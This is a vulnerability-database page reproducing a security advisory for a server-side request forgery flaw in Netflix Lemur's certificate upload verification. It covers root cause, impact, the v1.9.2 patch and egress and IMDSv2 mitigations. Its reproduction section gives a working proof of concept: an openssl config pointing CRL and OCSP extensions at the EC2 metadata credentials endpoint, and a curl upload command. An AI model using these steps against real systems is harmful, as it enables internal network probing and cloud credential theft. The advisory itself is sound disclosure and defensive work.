Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Operator role required (PR:L); network upload path (AV:N); SSRF impacts are limited to probing and cache poisoning (C:L/I:L/A:L) in the base case, with no scope change credited at base level.
Primary rating from Vendor (https://github.com/Netflix/lemur).
CVSS VectorVendor: https://github.com/Netflix/lemur
Lifecycle Timeline
3DescriptionCVE.org
Summary
When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.
Root Cause
lemur/certificates/verify.py, crl_verify:
point = p.full_name[0].value
# URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))
# no allow-list, no destination filterlemur/certificates/verify.py, ocsp_verify:
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()],
# attacker-controlled URL
...
)In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.
Affected Endpoints
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |
The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.
Impact
An operator-role attacker can:
- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to
http://169.254.169.254/and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level
crl_cachedict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.
The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.
Remediation
Filter the URL before it reaches the network sink. Either:
- Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g.,
LEMUR_TRUSTED_CRL_HOSTSandLEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or - Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.
Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.
Steps to Reproduce
- Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user
eve. - Generate a self-signed certificate whose extensions point at internal services:
cat > openssl.cnf <<EOF
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_ca
prompt = no
[req_distinguished_name]
CN = ssrf-poc.example
[v3_ca]
crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
EOF
openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
-days 365 -nodes -config openssl.cnf -extensions v3_ca- On the Lemur host, start a packet capture filter for the target address before submitting the cert:
sudo tcpdump -nni any host 169.254.169.254- As
eve, upload the malicious certificate:
BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
curl -X POST https://lemur.local/api/1/certificates/upload \
-H "Authorization: Bearer <eve_jwt>" \
-H "Content-Type: application/json" \
-d "{
\"name\": \"ssrf-poc\",
\"body\": \"$BODY\",
\"chain\": \"\",
\"private_key\": \"\",
\"owner\": \"eve@example.com\"
}"- Observe the outbound request to
169.254.169.254in the tcpdump output. The request originates from the Lemur process duringverify_stringprocessing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.
AnalysisAI
Server-Side Request Forgery in Netflix Lemur's certificate verification pipeline allows an authenticated operator-role user to force the Lemur host to issue outbound HTTP requests to arbitrary internal destinations by uploading a crafted certificate whose CRL Distribution Point or OCSP responder extensions point to RFC1918 addresses, link-local endpoints (169.254.169.254), internal Kubernetes API servers, or loopback interfaces. Both crl_verify and ocsp_verify in lemur/certificates/verify.py pass attacker-controlled URLs directly to network sinks with no destination allow-list, scheme restriction beyond LDAP rejection, or private-address filtering. No public exploit confirmed in CISA KEV, but detailed proof-of-concept reproduction steps are published in the GitHub Security Advisory GHSA-54vg-pfh7-jq95; vendor-released patch v1.9.2 is available.
Technical ContextAI
Lemur (pkg:pip/lemur) is Netflix's open-source PKI certificate management platform, written in Python and commonly deployed in cloud environments including EC2. The vulnerability resides in two functions within lemur/certificates/verify.py: crl_verify extracts the CRL Distribution Point URL directly from a certificate's extension using p.full_name[0].value and passes it to requests.get() with no destination validation; ocsp_verify extracts the OCSP URL via openssl x509 -ocsp_uri and pipes it unvalidated as the -url argument to openssl ocsp. Both paths are invoked via verify_string during certificate upload processing at POST /api/1/certificates/upload, which is protected by StrictRolePermission requiring the operator role. The root cause is CWE-918 (Server-Side Request Forgery): attacker-controlled data from a certificate extension flows to an outbound network call without SSRF-safe validation. An additional amplification vector exists via an unbounded module-level crl_cache dict, which allows a poisoned CRL entry to persist permanently for a given URL across all subsequent verifications. CPE: pkg:pip/lemur <= 1.9.1.
RemediationAI
Upgrade to Lemur v1.9.2 (https://github.com/Netflix/lemur/releases/tag/v1.9.2), which patches both crl_verify and ocsp_verify to reject RFC1918, loopback, and link-local destinations before issuing outbound requests, and bounds the module-level crl_cache to 1,000 entries to prevent unbounded cache growth. Operators may optionally configure LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS allow-lists in Lemur configuration to further restrict outbound CRL and OCSP destinations to explicitly approved hostnames; this is strongly recommended in environments that process third-party certificates. As an immediate compensating control prior to patching, restrict the Lemur host's egress network policy using host-based firewall rules or security groups to block outbound connections to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), and loopback addresses - note this may break legitimate CRL/OCSP fetches to internal PKI infrastructure and requires careful scoping. On EC2, enforce IMDSv2 (token-required mode) via instance metadata options to prevent credential theft via the IMDS endpoint even if the SSRF fires, as this is an independent defense-in-depth control with no functional trade-off for Lemur itself.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-61149
GHSA-54vg-pfh7-jq95